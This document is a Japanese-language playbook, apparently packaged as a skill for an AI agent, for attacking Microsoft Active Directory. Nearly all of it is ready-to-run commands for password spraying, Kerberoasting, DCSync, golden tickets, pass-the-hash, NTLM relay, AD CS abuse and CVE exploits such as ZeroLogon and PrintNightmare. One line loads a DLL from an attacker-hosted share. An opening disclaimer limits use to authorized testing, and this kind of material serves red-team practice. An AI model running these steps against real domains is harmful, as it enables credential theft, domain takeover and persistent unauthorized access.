認可された使用のみ:このスキルは、認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
Active Directory攻撃
目的
Microsoft Active Directory環境への攻撃手法を包括的に提供します。偵察、資格情報収集、Kerberos攻撃、水平移動、特権昇格、ドメイン支配をカバーし、レッドチーム運用やペネトレーションテストに活用します。
入力/前提条件
- Kali Linux または Windows 攻撃プラットフォーム
- ドメインユーザー資格情報(ほとんどの攻撃に必要)
- ドメインコントローラへのネットワークアクセス
- ツール:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec
出力/成果物
- ドメイン列挙データ
- 抽出された資格情報とハッシュ
- なりすまし用Kerberosチケット
- ドメイン管理者アクセス
- 永続的なアクセス手段
必須ツール
| ツール | 目的 |
|---|---|
| BloodHound | AD攻撃パスの可視化 |
| Impacket | Python製AD攻撃ツール |
| Mimikatz | 資格情報抽出 |
| Rubeus | Kerberos攻撃 |
| CrackMapExec | ネットワーク悪用 |
| PowerView | AD列挙 |
| Responder | LLMNR/NBT-NSポイズニング |
コアワークフロー
ステップ1:Kerberosクロック同期
Kerberosはクロック同期を必要とします(±5分以内):
# クロックスキューを検出
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Linuxでクロックを修正
sudo date -s "14 APR 2024 18:25:16"
# Windowsでクロックを修正
net time /domain /set
# システム時刻を変更せずに偽装
faketime -f '+8h' <command>
ステップ2:BloodHoundを使ったAD偵察
# BloodHoundを起動
neo4j console
bloodhound --no-sandbox
# SharpHoundでデータ収集
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Pythonコレクター(Linuxから)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
ステップ3:PowerView列挙
# ドメイン情報を取得
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# ユーザーを列挙
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# グループを列挙
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# ローカル管理者アクセスを検索
Find-LocalAdminAccess -Verbose
# ユーザーハンティング
Invoke-UserHunter
Invoke-UserHunter -Stealth
資格情報攻撃
パスワードスプレー攻撃
# kerbruteを使用
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# CrackMapExecを使用
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
サービスアカウントのTGSチケットを抽出し、オフラインで解読:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# hashcatで解読
hashcat -m 13100 hashes.txt rockyou.txt
AS-REPロースティング
「Kerberos事前認証を必要としない」アカウントを標的に:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# hashcatで解読
hashcat -m 18200 hashes.txt rockyou.txt
DCSync攻撃
DCから直接資格情報を抽出(ディレクトリ変更のレプリケート権限が必要):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberosチケット攻撃
Pass-the-Ticket(ゴールデンチケット)
krbtgtハッシュを使用して任意のユーザーのTGTを偽造:
# 最初にDCSyncでkrbtgtハッシュを取得
# Mimikatz - ゴールデンチケットを作成
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
シルバーチケット
特定のサービスのTGSを偽造:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
NTLMハッシュをKerberosチケットに変換:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLMリレー攻撃
Responder + ntlmrelayx
# Responderを起動(リレー用にSMB/HTTPを無効化)
responder -I eth0 -wrf
# リレーを開始
ntlmrelayx.py -tf targets.txt -smb2support
# 委任攻撃用のLDAPリレー
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB署名確認
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
証明書サービス攻撃(AD CS)
ESC1 - 誤設定されたテンプレート
# 脆弱なテンプレートを検索
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# ESC1を悪用
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# 証明書で認証
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web登録リレー
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
重要なCVE
ZeroLogon(CVE-2020-1472)
# 脆弱性確認
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# 悪用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# ハッシュ抽出
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# パスワード復元(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare(CVE-2021-1675)
# 脆弱性確認
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# 悪用(悪意のあるDLLをホストする必要あり)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName Spoofing(CVE-2021-42278/42287)
# 自動化された悪用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
クイックリファレンス
| 攻撃 | ツール | コマンド |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| ゴールデンチケット | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| スプレー攻撃 | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
制約
必須事項:
- Kerberos攻撃前にDCと時刻を同期する
- ほとんどの攻撃に有効なドメイン資格情報が必要
- すべての侵害アカウントを文書化する
禁止事項:
- 過度なパスワードスプレーでアカウントをロックアウトしない
- 承認なしに本番ADオブジェクトを変更しない
- ゴールデンチケットを文書化せずに残さない
推奨事項:
- BloodHoundを実行して攻撃パスを発見する
- リレー攻撃の前にSMB署名を確認する
- CVE悪用の前にパッチレベルを確認する
例
例1:Kerberoastingによるドメイン侵害
# 1. SPNを持つサービスアカウントを検索
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. TGSチケットを要求
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. チケットを解読
hashcat -m 13100 tgs.txt rockyou.txt
# 4. 解読したサービスアカウントを使用
psexec.py domain.local/svc_admin:[email protected]
例2:NTLMリレーからLDAPへ
# 1. LDAPをターゲットにしたリレーを開始
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. 認証をトリガー(例:PrinterBug経由)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. 作成されたマシンアカウントをRBCD攻撃に使用
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| クロックスキューが大きすぎる | DCと時刻を同期するか、faketimeを使用 |
| Kerberoastingが空を返す | SPNを持つサービスアカウントがない |
| DCSyncアクセス拒否 | ディレクトリ変更のレプリケート権限が必要 |
| NTLMリレー失敗 | SMB署名を確認し、LDAPターゲットを試す |
| BloodHoundが空 | コレクターが正しい資格情報で実行されたか確認 |
追加リソース
委任攻撃、GPO悪用、RODC攻撃、SCCM/WSUS展開、ADCS悪用、信頼関係、Linux AD統合などの高度な技術については、references/advanced-attacks.mdを参照してください。
使用タイミング
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用されます。